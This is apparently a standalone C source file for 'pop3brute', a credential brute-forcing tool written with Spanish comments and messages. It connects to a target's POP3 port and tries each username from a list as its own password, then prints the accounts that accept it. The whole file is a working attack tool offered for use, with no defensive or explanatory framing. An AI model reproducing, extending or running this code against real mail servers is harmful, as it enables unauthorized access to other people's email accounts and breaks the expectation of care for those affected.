/* pop3brute.c

 Usar: ./pop3brute <lista> <host>

 by CoKi <coki@interlap.com.ar>
 
 [ No System Group ]

*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define PUERTO 110
#define ERROR -1

struct hostent *he;

int brute(char *login);
int pop3(void);

int main(int argc, char *argv[]) {

  FILE *lista;
  char login[256];
  char buf[50];
  int cant = 0;
  int cant_u = 0;

  printf("\npop3brute.c by CoKi\n");
  printf("-------------------\n\n");
  if(argc!=3) {
    printf("Usar: %s <lista> <host>\n\n", argv[0]);
    exit(1);
  }

  if((he=gethostbyname(argv[2])) == NULL) {
    herror("Error");
    printf("\n");
    exit(1);
  }

  if(pop3() < 0) {
    printf("No se encontró un servidor POP3\n\n");
    exit(1);
  }

  if((lista=fopen(argv[1], "r")) == NULL) {
    printf("No se puede abrir la lista\n\n");
    exit(1);
  }

  while(!feof(lista)) if('\n' == fgetc(lista)) cant_u++;
  rewind(lista);
  printf("Atacar: %s\n", argv[2]);
  printf("Lista:  %s\n", argv[1]);
  printf("Users:  %d\n\n", cant_u);
  printf("Atacando...\n");
  
  while(!feof(lista)) {
    if(fgets(login, sizeof(login), lista) == NULL) break;
    if(brute(login) == -1) {
      printf("Encontrado: %s", login);
      cant++;
    }
  }

  printf("Listo!\n\nUsuarios encontrados: %d\n\n", cant);
}

int pop3(void) {

  struct sockaddr_in dest_dir;
  int sock;
 
  sock = socket(AF_INET, SOCK_STREAM, 0);
  dest_dir.sin_family = AF_INET;
  dest_dir.sin_port = htons(PUERTO);
  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(dest_dir.sin_zero), 8);
    
  if(connect(sock, (struct sockaddr*)&dest_dir, sizeof(dest_dir)) == ERROR)
    return -1;

  close(sock);
  return 1;
}

 int brute(char *login) {
   struct sockaddr_in dest_dir;
   int sock, i;
   char buf[300], sendstr[641];

   sock = socket(AF_INET, SOCK_STREAM, 0);
   dest_dir.sin_family = AF_INET;
   dest_dir.sin_port = htons(PUERTO);
   dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
   bzero(&(dest_dir.sin_zero), 8);

  if(connect(sock, (struct sockaddr*)&dest_dir, sizeof(dest_dir)) == ERROR) { 
    perror("Error");
    printf("\n");
    exit(1);
  }

  recv(sock, buf, sizeof(buf), 0);
  bzero(buf, sizeof(buf));
  sprintf(sendstr, "USER %s", login);
  send(sock, sendstr, strlen(sendstr), 0);
  recv(sock, buf, sizeof(buf), 0);
  bzero(buf, sizeof(buf));

  sprintf(sendstr, "PASS %s", login);
  send(sock, sendstr, strlen(sendstr), 0);
  recv(sock, buf, sizeof(buf), 0);

  close(sock);

  if(strstr(buf, "-ERR")) return 1;
  else return -1;
 }

